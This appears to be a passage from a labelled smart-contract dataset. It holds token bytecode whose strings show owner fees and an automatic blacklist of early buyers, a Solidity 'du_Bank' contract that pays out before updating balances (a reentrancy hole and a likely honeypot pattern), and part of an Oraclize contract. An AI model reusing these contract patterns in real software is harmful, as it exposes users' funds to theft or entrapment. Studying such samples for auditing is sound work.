cd60e51b8152600401610b8190612ea9565b60118390556012829055601381905580610fbb8385612f35565b610fc59190612f35565b60108190556014101561101a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610b8190612ea9565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b0316331461108a5760405162461bcd60e51b8152600401610b8190612ea9565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612e6e565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610b8190612ea9565b7f000000000000000000000000545bcb4d4ba7dca73c3d3d10d0b006b0defa1f8d6001600160a01b0316826001600160a01b031614156111875760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b6111918282612427565b5050565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610b8190612ea9565b6111e86111d46005546001600160a01b031690565b6005546001600160a01b03166002546117d1565b60005b838110156112605761124d3386868481811061120957611209612f4d565b905060200201602081019061121e9190612c37565b61122a6012600a613047565b86868681811061123c5761123c612f4d565b9050602002013561052f9190612ef4565b508061125881613056565b9150506111eb565b5050505050565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610b8190612ea9565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd88560405180606001604052806025815260200161321b602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906123ed565b6000610b4d3384846118f6565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610b8190612ea9565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610b8190612ea9565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610b8190612ea9565b670de0b6b3a76400006103e861145a60025490565b611465906005612ef4565b61146f9190612f13565b6114799190612f13565b8110156114d45760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e681670de0b6b3a7640000612ef4565b600a5550565b6005546000906001600160a01b031633146115195760405162461bcd60e51b8152600401610b8190612ea9565b620186a061152660025490565b611531906001612ef4565b61153b9190612f13565b8210156115a85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b460025490565b6115bf906005612ef4565b6115c99190612f13565b8211156116355760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b031633146116705760405162461bcd60e51b8152600401610b8190612ea9565b50600f805460ff19169055600190565b6005546001600160a01b031633146116aa5760405162461bcd60e51b8152600401610b8190612ea9565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117788385612f35565b9050838110156117ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661191c5760405162461bcd60e51b8152600401610b8190613071565b6001600160a01b0382166119425760405162461bcd60e51b8152600401610b81906130b6565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198457506001600160a01b0383166000908152600e602052604090205460ff16155b6119ea5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119fb5761101a8383600061247b565b600b5460ff1615611eb5576005546001600160a01b03848116911614801590611a3257506005546001600160a01b03838116911614155b8015611a4657506001600160a01b03821615155b8015611a5d57506001600160a01b03821661dead14155b8015611a735750600554600160a01b900460ff16155b15611eb557600b54610100900460ff16611b0b576001600160a01b0383166000908152601f602052604090205460ff1680611ac657506001600160a01b0382166000908152601f602052604090205460ff165b611b0b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c52576005546001600160a01b03838116911614801590611b6657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba457507f000000000000000000000000545bcb4d4ba7dca73c3d3d10d0b006b0defa1f8d6001600160a01b0316826001600160a01b031614155b15611c5257326000908152600c60205260409020544311611c3f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611c9257506001600160a01b038216600090815260208052604090205460ff16155b15611d7657600854811115611d075760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2d9083612f35565b1115611d715760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb5565b6001600160a01b03821660009081526021602052604090205460ff168015611db657506001600160a01b038316600090815260208052604090205460ff16155b15611e2c57600854811115611d715760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b038216600090815260208052604090205460ff16611eb557600a546001600160a01b038316600090815260208190526040902054611e719083612f35565b1115611eb55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b601e54611ec3906003612f35565b4311158015611f0457507f000000000000000000000000545bcb4d4ba7dca73c3d3d10d0b006b0defa1f8d6001600160a01b0316826001600160a01b031614155b8015611f2d57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611f56576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f000000000000000000000000545bcb4d4ba7dca73c3d3d10d0b006b0defa1f8d6001600160a01b0390811690841614801581611f9c5750600b546301000000900460ff165b15612041576001600160a01b0384166000908152600d602052604090205415801590611fee57506001600160a01b0384166000908152600d60205260409020544290611feb9062015180612f35565b10155b156120275760185460168190556019546015819055601a5460178190559161201591612f35565b61201f9190612f35565b6014556120b7565b600460168190556015819055601754906120159080612f35565b6001600160a01b0383166000908152600d602052604090205461207a576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120b75760046016819055601581905560016017819055906120a99080612f35565b6120b39190612f35565b6014555b30600090815260208190526040902054600954811080159081906120e35750600b5462010000900460ff165b80156120f95750600554600160a01b900460ff16155b801561211e57506001600160a01b03861660009081526021602052604090205460ff16155b801561214357506001600160a01b0386166000908152601f602052604090205460ff16155b801561216857506001600160a01b0385166000908152601f602052604090205460ff16155b15612196576005805460ff60a01b1916600160a01b179055612188612584565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b9092048216159116806121e457506001600160a01b0386166000908152601f602052604090205460ff165b156121ed575060005b600081156123d8576001600160a01b03871660009081526021602052604090205460ff16801561221f57506000601454115b156122dd57612244606461223e601454896127be90919063ffffffff16565b9061283d565b9050601454601654826122579190612ef4565b6122619190612f13565b601c60008282546122729190612f35565b90915550506014546017546122879083612ef4565b6122919190612f13565b601d60008282546122a29190612f35565b90915550506014546015546122b79083612ef4565b6122c19190612f13565b601b60008282546122d29190612f35565b909155506123ba9050565b6001600160a01b03881660009081526021602052604090205460ff16801561230757506000601054115b156123ba57612326606461223e601054896127be90919063ffffffff16565b9050601054601254826123399190612ef4565b6123439190612f13565b601c60008282546123549190612f35565b90915550506010546013546123699083612ef4565b6123739190612f13565b601d60008282546123849190612f35565b90915550506010546011546123999083612ef4565b6123a39190612f13565b601b60008282546123b49190612f35565b90915550505b80156123cb576123cb88308361247b565b6123d581876130f9565b95505b6123e388888861247b565b5050505050505050565b600081848411156124115760405162461bcd60e51b8152600401610b819190612b9e565b50600061241e84866130f9565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166124a15760405162461bcd60e51b8152600401610b8190613071565b6001600160a01b0382166124c75760405162461bcd60e51b8152600401610b81906130b6565b612504816040518060600160405280602681526020016131cd602691396001600160a01b03861660009081526020819052604090205491906123ed565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612533908261176b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e9565b3060009081526020819052604081205490506000601d54601b54601c546125ab9190612f35565b6125b59190612f35565b905060008215806125c4575081155b156125ce57505050565b6009546125dc906014612ef4565b8311156125f4576009546125f1906014612ef4565b92505b6000600283601c54866126079190612ef4565b6126119190612f13565b61261b9190612f13565b90506000612629858361287f565b905047612635826128c1565b6000612641478361287f565b9050600061265e8761223e601b54856127be90919063ffffffff16565b9050600061267b8861223e601d54866127be90919063ffffffff16565b905060008161268a84866130f9565b61269491906130f9565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d80600081146126f1576040519150601f19603f3d011682016040523d82523d6000602084013e6126f6565b606091505b5090985050861580159061270a5750600081115b1561275d576127198782612a88565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d80600081146127aa576040519150601f19603f3d011682016040523d82523d6000602084013e6127af565b606091505b50505050505050505050505050565b6000826127cd57506000610b51565b60006127d98385612ef4565b9050826127e68583612f13565b146117ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b70565b60006117ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123ed565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128f6576128f6612f4d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561296f57600080fd5b505afa158015612983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a79190613110565b816001815181106129ba576129ba612f4d565b60200260200101906001600160a01b031690816001600160a01b031681525050612a05307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612a5a90859060009086903090429060040161312d565b600060405180830381600087803b158015612a7457600080fd5b505af1158015610d76573d6000803e3d6000fd5b612ab3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612b3757600080fd5b505af1158015612b4b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611260919061319e565b60008183612b915760405162461bcd60e51b8152600401610b819190612b9e565b50600061241e8486612f13565b600060208083528351808285015260005b81811015612bcb57858101830151858201604001528201612baf565b81811115612bdd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612c0857600080fd5b50565b60008060408385031215612c1e57600080fd5b8235612c2981612bf3565b946020939093013593505050565b600060208284031215612c4957600080fd5b81356117ca81612bf3565b600060208284031215612c6657600080fd5b5035919050565b60008060008060008060c08789031215612c8657600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612cc557600080fd5b8335612cd081612bf3565b92506020840135612ce081612bf3565b929592945050506040919091013590565b8035801515811461163e57600080fd5b60008060408385031215612d1457600080fd5b8235612d1f81612bf3565b9150612d2d60208401612cf1565b90509250929050565b600080600060608486031215612d4b57600080fd5b505081359360208301359350604090920135919050565b600060208284031215612d7457600080fd5b6117ca82612cf1565b60008083601f840112612d8f57600080fd5b50813567ffffffffffffffff811115612da757600080fd5b6020830191508360208260051b8501011115612dc257600080fd5b9250929050565b60008060008060408587031215612ddf57600080fd5b843567ffffffffffffffff80821115612df757600080fd5b612e0388838901612d7d565b90965094506020870135915080821115612e1c57600080fd5b50612e2987828801612d7d565b95989497509550505050565b60008060408385031215612e4857600080fd5b8235612e5381612bf3565b91506020830135612e6381612bf3565b809150509250929050565b600181811c90821680612e8257607f821691505b60208210811415612ea357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f0e57612f0e612ede565b500290565b600082612f3057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f4857612f48612ede565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612f9e578160001904821115612f8457612f84612ede565b80851615612f9157918102915b93841c9390800290612f68565b509250929050565b600082612fb557506001610b51565b81612fc257506000610b51565b8160018114612fd85760028114612fe257612ffe565b6001915050610b51565b60ff841115612ff357612ff3612ede565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715613021575081810a610b51565b61302b8383612f63565b806000190482111561303f5761303f612ede565b029392505050565b60006117ca60ff841683612fa6565b600060001982141561306a5761306a612ede565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561310b5761310b612ede565b500390565b60006020828403121561312257600080fd5b81516117ca81612bf3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561317d5784516001600160a01b031683529383019391830191600101613158565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131b357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f5ee11b0cecc64fbea39f6e037c18bd8151510fd158082942765ada263f067c564736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xf281bad74a5a549ceced85dad57f47a671b07e51
contract du_Bank { function Put(uint _unlockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; acc.unlockTime = _unlockTime>now?_unlockTime:now; LogFile.AddMessage(msg.sender,msg.value,"Put"); } function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; LogFile.AddMessage(msg.sender,_am,"Collect"); } } } function() public payable { Put(0); } struct Holder { uint unlockTime; uint balance; } mapping (address => Holder) public Acc; Log LogFile; uint public MinSum = 1 ether; function du_Bank(address log) public{ LogFile = Log(log); } } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
0x6080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633fe43822811461006d57806365f3c31a146100785780637731cd2a14610083578063c2808d1a146100ca575b61006b60006100f1565b005b61006b6004356101e3565b61006b6004356100f1565b34801561008f57600080fd5b506100b173ffffffffffffffffffffffffffffffffffffffff600435166102f1565b6040805192835260208301919091528051918290030190f35b3480156100d657600080fd5b506100df61030a565b60408051918252519081900360200190f35b336000908152602081905260409020600181018054340190554282116101175742610119565b815b8155600154604080517f4c2f04a400000000000000000000000000000000000000000000000000000000815233600482015234602482015260606044820152600360648201527f50757400000000000000000000000000000000000000000000000000000000006084820152905173ffffffffffffffffffffffffffffffffffffffff90921691634c2f04a49160a48082019260009290919082900301818387803b1580156101c757600080fd5b505af11580156101db573d6000803e3d6000fd5b505050505050565b33600090815260208190526040902060025460018201541080159061020c575081816001015410155b80156102185750805442115b156102ed5760405133908390600081818185875af192505050156102ed5760018082018054849003905554604080517f4c2f04a40000000000000000000000000000000000000000000000000000000081523360048201526024810185905260606044820152600760648201527f436f6c6c656374000000000000000000000000000000000000000000000000006084820152905173ffffffffffffffffffffffffffffffffffffffff90921691634c2f04a49160a48082019260009290919082900301818387803b1580156101c757600080fd5b5050565b6000602081905290815260409020805460019091015482565b600254815600a165627a7a72305820510b228a5b06be87f0c48bf303502787d349a079afc2de4333e82620bdee53a40029
[ 13, 18 ]
0xf282797cecdfcdbbaa9627502215f9a212a9d55d
pragma solidity ^0.4.22; library SafeMath { //standard library for uint function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0){ return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function pow(uint256 a, uint256 b) internal pure returns (uint256){ //power function if (b == 0){ return 1; } uint256 c = a**b; assert (c >= a); return c; } } //standard contract to identify owner contract Ownable { address public owner; address public newOwner; address public techSupport; address public newTechSupport; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyTechSupport() { require(msg.sender == techSupport || msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } function transferTechSupport (address _newSupport) public{ require (msg.sender == owner || msg.sender == techSupport); newTechSupport = _newSupport; } function acceptSupport() public{ if(msg.sender == newTechSupport){ techSupport = newTechSupport; } } } // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary // pragma solidity >=0.4.18 <=0.4.20;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint capacity) internal pure { if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Reverts if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if 